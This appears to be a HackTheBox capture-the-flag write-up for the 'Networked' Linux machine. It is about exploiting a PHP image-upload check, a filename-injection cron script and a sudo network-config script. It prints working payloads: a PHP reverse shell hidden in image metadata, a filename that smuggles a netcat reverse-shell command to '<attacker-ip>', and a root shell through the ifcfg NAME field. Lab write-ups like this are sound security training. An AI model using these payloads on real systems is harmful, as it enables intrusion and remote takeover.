Networked

Always stay close to what keeps you feeling alive!

HackTheBox Networked Machine Info Card

Networked is an easy difficulty machine running Linux. It tests your knowledge in PHP and basic privilege escalation. Without some knowledge of PHP you may find this machine a bit challenging.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

First let’s use my “advanced” portscan script to find open ports:

portscan networked.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-02 13:39 GMT
Nmap scan report for networked.htb (10.10.10.146)
Host is up (0.36s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.23 seconds

As we can see from our port scan we have ssh open on port 22 and http open on port 80. Since at this point we have no username and password we will leave ssh and go for http. Navigating to the site we are greeted with with following page:

Networked Main Screenshot

Nothing to look at. No links to have a navigate around. Taking a look at the source we see a comment: <!-- upload and gallery not yet linked -->. Seems like there are some directories for us to find.

Directories

We will use gobuster to bruteforce any interesting directories that may be of use to us:

gobuster dir -u http://networked.htb -t 30 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://networked.htb
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/01/07 04:33:45 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/uploads (Status: 301)
===============================================================
2020/01/07 04:34:40 Finished
===============================================================

Here we go! Something for us to work with. Straight off the mark we see two folders of interest. A backup folder which with any luck will have some backups with juicy info for us to bite our teeth in to and an uploads folder. Which means that there is most likely some way to upload files to the machine.

Let’s take a look and see what we can find.

Navigating to http://networked.htb/backup/ gives us an index listing:

Networked Backups Screenshot

Nice! We have a backup it seems.

Information Leak

Lets download and extract it’s contents to see what we have:

wget http://networked.htb/backup/backup.tar && tar -xvf backup.tar
http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’

backup.tar  100%[===============================>]  10.00K  --.-KB/s    in 0s      

2019-11-15 09:12:34 (72.0 MB/s) - ‘backup.tar’ saved [10240/10240]

index.php
lib.php
photos.php
upload.php

So here we have four files. We can see these files in the root directory of the site.

We have the index.php that we saw earlier.

A file called library.php which is blank (most likely due to there being no php output or html).

Another file called photos.php that is a photo gallery where the images seemed to be named using an IP address:

Networked Photos Screenshot

Then theres the upload.php file which confirms that we will most likely be able to upload a file and hopefully a payload:

Networked Upload Screenshot

Since we have all the files let’s investigate them further to see what types of files we can upload and how the upload form functions.

index.php

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

Ok so literally just some html nothing exciting. Let’s move along.

lib.php

<?php
function getnameCheck($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  #echo "name $name - ext $ext\n";
  return array($name,$ext);
}

function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
 <input type="file" name="myFile">
 <br>
<input type="submit" name="submit" value="go!">
</form>
<?php
  exit();
}
?>

This file is a lot more interesting. This is obviously a “library” of functions, hence the name. Let’s checkout how they are being used in upload.php.

upload.php

<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>

Let’s try and decipher what’s going on.

I have added three parts together for clarity below.

First off we see that there is an if() statement to check the filetype using the function check_file_type(). Essentially the if() statement is saying “If the check_file_type() function returns false display the upload form with an error message. Otherwise if the check_file_type() function returns true move on to the next statement”:

// if() statement in upload.php
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
  echo '<pre>Invalid image file.</pre>';
  displayform();
}

// check_file_type() function in lib.php
function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

// file_mime_type() function in lib.php
function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

Taking a look at the check_file_type() function in lib.php we see that the output of the file_mime_type() function is placed in to the variable $mime_type. The file_mime_type() function is quite self explanatory as it is getting the files mime type.

However, the important takeaway here is that it is actually “processing” the image to get the mime type so simply changing the file extension won’t work here.

The $mime_type variable is then checked to see if it contains the mime type image/. If it does then the output of the check_file_type() function will be true otherwise it will be false.

Foothold

From this information we can gather that our image needs to contain our payload.

Download one of the .png images from http://networked.htb/photos.php and save as payload.png. We will then use exiftool to inject PHP code in to the image metadata input of Document Name like so:

exiftool -DocumentName="<?php shell_exec('nc <attacker-ip> 1337 -e /bin/bash'); __halt_compiler();?></h1>" payload.png

Be sure to change <attacker-ip>.

Then we will rename our file adding .php like so: payload.php.png.

We then setup our Netcat listener on our attacker machine:

nc -lvp 1337

Now let’s try uploading the file to the server and executing it by navigating to http://networked.htb/photos.php.

Back at our listener we should see a connection:

Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:41616.
id
uid=48(apache) gid=48(apache) groups=48(apache)

From here we can upgrade our shell if we wish.

As we can see we are the user apache and if we use the command pwd our current working directory is /var/www/html/uploads. If we go to our home folder with the command cd ~ we see that our home directory path is /usr/share/httpd. If we check this location with ls -l we see that there is no user.txt file.

Having a look at the /home directory we see the user guly:

ls -l /home
drwxr-xr-x. 2 guly guly 159 Jul  9  2019 guly

We will most likely need to gain access to this account.

Information Leak

Taking note of the guly directory permissions we see that we should be able to view the contents.

Let’s take a peek:

ls -l /home/guly/
total 12
-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly  33 Oct 30  2018 user.txt

Here we see three files one of which is our user.txt ready to be taken.

check_attack.php

Let’s have a look at the contents of check_attack.php:

<?php                                                                                                                                                                                       
require '/var/www/html/lib.php';                                                                                                                                                            
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

Simplistically the script is creating a list of filenames from the uploads directory and seeing if the names have the IP address like we saw in the photo gallery earlier. If this check fails the script deletes the file.

Taking a look at this check we see something interesting:

if (!($check[0])) {
  echo "attack!\n";
  # todo: attach file
  file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

  exec("rm -f $logpath");
  exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
  echo "rm -f $path$value\n";
  mail($to, $msg, $msg, $headers, "-F$value");
}

The script is using the PHP exec() function to delete the file using the rm command:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

The interesting thing about this is the $value variable which would be the filename.

Thinking about how the Linux commandline works we should be able to attach our own command like so: ;<command>

crontab.guly

Taking a quick look at crontab.guly we see that check_attack.php is run at every 3rd minute:

*/3 * * * * php /home/guly/check_attack.php

User

Now that we have found our exploit let’s try it out.

Once again let’s setup our Netcat listener:

nc -lvp 1234

And then create our file/command ensuring we are at the path /var/www/html/uploads:

touch ";nohup nc <attacker-ip> 1234 -c sh &"

After a few minutes we should receive a connection:

Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:39574.
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cat user.txt 
526cfc2305....12c57d71c5

We have our user.txt flag! Once again we can upgrade our shell if we wish. Now on to root.

Root

First things first. Let’s check to see if we have any sudo rights:

sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Ok so we can use sudo with the script changename.sh.

Let’s check it out:

cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

From taking a look at this script we see that when it is run we are asked for some inputs. The inputs we enter are then added to /etc/sysconfig/network-scripts/ifcfg-guly.

Let’s run the script to confirm this is the case entering in random inputs:

sudo /usr/local/sbin/changename.sh
interface NAME:
s
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
b
interface BOOTPROTO:
e
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

And then check to see if our inputs are in ifcfg-guly:

cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=s
PROXY_METHOD=a
BROWSER_ONLY=b
BOOTPROTO=e

So far so good. Let’s check our operating system so we can search for some vulnerabilities relating to ifcfg:

cat /etc/*-release
CentOS Linux release 7.6.1810 (Core) 
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

CentOS Linux release 7.6.1810 (Core) 
CentOS Linux release 7.6.1810 (Core) 

So networked is running CentOS 7. A quick search term of centos 7 ifcfg vuln reveals a potential exploit.

Let’s run our script again this time inputting the command we want to run in the NAME= input:

sudo /usr/local/sbin/changename.sh
interface NAME:
s /bin/bash
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
b
interface BOOTPROTO:
e
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cat /root/root.txt
0a8ecda83f....ac3d0dcb82

And just like that we have the root.txt flag. Congrats on another box rooted!

Conclusion

The initial foothold shows that there can be major issues with allowing users to upload files via PHP scripts. Secure coding practices should always be at the forefront of the development process. Although these issues can be avoided they are still seen in the real world. As for the privilege escalation? It could have easily been avoided by ensuring sudo requires a password.

Hack The Box